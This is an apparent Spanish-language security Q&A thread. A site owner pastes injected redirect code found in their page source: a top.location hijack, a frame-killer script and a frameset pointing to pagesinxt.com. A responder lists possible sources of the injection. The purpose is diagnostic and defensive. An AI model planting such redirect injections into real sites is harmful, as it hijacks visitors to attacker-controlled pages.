"pagesinxt.com" enlaces en el código fuente, ¿estoy siendo hackeado?

1

En este momento estoy siendo hackeado y no sé cómo detenerlo. Déjame explicarte ...

Mi sitio web está alojado en un VPS donde soy la única persona que tiene acceso a él. La página se construye con Codeigniter (actualizado) y Doctrine (actualizado también). Una vez que navego a index.php veo este código en la fuente:

<!--
    top.location="http://pagesinxt.com/?dn=eqtisad.u13.biz&fp=uG6gKivovi4x8JjEAROV%2FTKBtIWD%2Blle7UNutYwxGdAyGVrZoBm5Bekjw2z7vZmvYE9r56BxR%2FdwKJnOW1e8aQ%3D%3D&prvtof=3um92iAJbFQD4ie3mqlX9yNOXQElLxUpPsdwROXtIXk%3D&poru=8V8ohaa543uO%2BrtgyMrGBIAkgU2lu1ckclS6TcL72%2BnBM2%2BYG73v%2FyLI9ZhKVjCGL2w0E5BxYal2xKLR2ERsB3mlhGebCpkQgGj4df%2BIkrc%3D&cifr=1&flrdr=yes&nxte=gif";
    /*
-->
<script type="text/javascript">
    <!--
    dimensionUpdated = 0;
    function applyFrameKiller()
    {
        if(window.top != self)
        {
            cHeight = 0;
            if( typeof( window.innerHeight ) != 'undefined' ) {
            //Non-IE
            cHeight = window.innerHeight;
            dimensionUpdated = 1;
            } else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight )  ) {
            //IE 6+ in 'standards compliant mode'
            cHeight = document.documentElement.clientHeight;
            dimensionUpdated = 1;
            } else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
            //IE 4 compatible
            cHeight = document.body.clientHeight;
            dimensionUpdated = 1;
            }
            if( cHeight <= 250 && dimensionUpdated == 1)
            {
                window.top.location = "http://pagesinxt.com/?dn=eqtisad.u13.biz&fp=uG6gKivovi4x8JjEAROV%2FTKBtIWD%2Blle7UNutYwxGdAyGVrZoBm5Bekjw2z7vZmvYE9r56BxR%2FdwKJnOW1e8aQ%3D%3D&prvtof=H4TY0TTX3NzJR65BWTqd5iL%2FuG%2FrWNlJRpGGD7lLlAI%3D&poru=VPQxzhVHETonB83RBOqqTOJMW1rvUm850o6RD0TzdI6oyXwlzAeOG%2FK17FifSzcxHolUxHDNgpTE%2BnRQSwqPDCIL8FKABEYRdUxAEcBGi8s%3D&cifr=1&flrdr=yes&nxte=gif";
            }
        }
    }

    applyFrameKiller();
    // -->
</script><frameset rows="100%,*" frameborder="no" border="0" framespacing="0">
    <frame src="http://pagesinxt.com/?dn=eqtisad.u13.biz&fp=uG6gKivovi4x8JjEAROV%2FTKBtIWD%2Blle7UNutYwxGdAyGVrZoBm5Bekjw2z7vZmvYE9r56BxR%2FdwKJnOW1e8aQ%3D%3D&prvtof=QNdLHvfpmQDcCjmfkLp0UoTOm9%2FlbsSY5zwRjXbMEDs%3D&poru=ZFDh3zFdBl8oLoFKYzmbIrndO0AsgI5yGs9la3B3DvUnOwJwZj4aeWo5bo5PRkvlGhqLFIwXyhV4DxStH7tHRS%2FbB902y5I8kPm7LLxSgJ0%3D&flrdr=yes&nxte=gif"></frameset><noframes><bodybgcolor="#ffffff" text="#000000">
    <a href="http://pagesinxt.com/?dn=eqtisad.u13.biz&fp=uG6gKivovi4x8JjEAROV%2FTKBtIWD%2Blle7UNutYwxGdAyGVrZoBm5Bekjw2z7vZmvYE9r56BxR%2FdwKJnOW1e8aQ%3D%3D&prvtof=DFirIGqMqM7SgRb4jbom9x%2FWLKk2BsDoNNUAtuffLcM%3D&poru=h4Hln0ENUyIUaYgUi37Z6zIj6%2FYWgvyln3NWEddNbSBI1tQexg46ZMAGiZ0lsT6C4pkl6AcLCw9x0J6hZhJcNgm04ONcuO4STG69vF4Nue8%3D&flrdr=yes&nxte=gif">Click here to proceed</a>.
    </body>
</noframes><!--
*/
-->

Algo que no entiendo

  • Si a abre el index.php el código es correcto (código original), entonces ... ¿cómo es posible ver el código anterior en el navegador, pero por ftp el archivo está bien?

  • Nunca antes me habían atacado, entonces, ¿cuáles deberían ser las primeras pautas a revisar? ¿Cuál debería ser una solución de problemas correcta para encontrar / minimizar la seguridad del pozo?

  • (Aquí estoy más confundido). Este hack es intermitente, porque cuando presiono F5 el hack desaparece por 2 o 3 minutos, ¡pero vuelve otra vez! Tengo mucho miedo :(

pregunta manix 10.03.2013 - 00:46
fuente

1 respuesta

4

Si la secuencia de comandos aparece en la fuente de la página, pero cuando observa la fuente de la página en el servidor, no la ve, puede suceder una de varias cosas.

1) Podría ser su computadora la que está infectada con malware, y no el servidor, y la inyección proviene de algo que se ejecuta en su computadora.

2) La inyección proviene de un archivo externo al que hace referencia la página, como la inclusión del lado del servidor, o un archivo externo de JavaScript que está escribiendo el código malicioso.

3) La inyección podría provenir de otro lugar en el proceso de respuesta, como un filtro de respuesta que modifica todos los flujos de respuesta antes de devolverlos al cliente.

Una búsqueda rápida me dice que otras personas han visto un malware similar que se entrega a través de una referencia externa de JavaScript, por lo que ese es el primer lugar que buscaría. Vea si su página hace referencia a algún archivo JavaScript que contenga algún código que no reconozca o comprenda. Es probable que se confunda y, por lo tanto, no se vea como se ve en la fuente de la página.

    
respondido por el Xander 10.03.2013 - 00:59
fuente

Lea otras preguntas en las etiquetas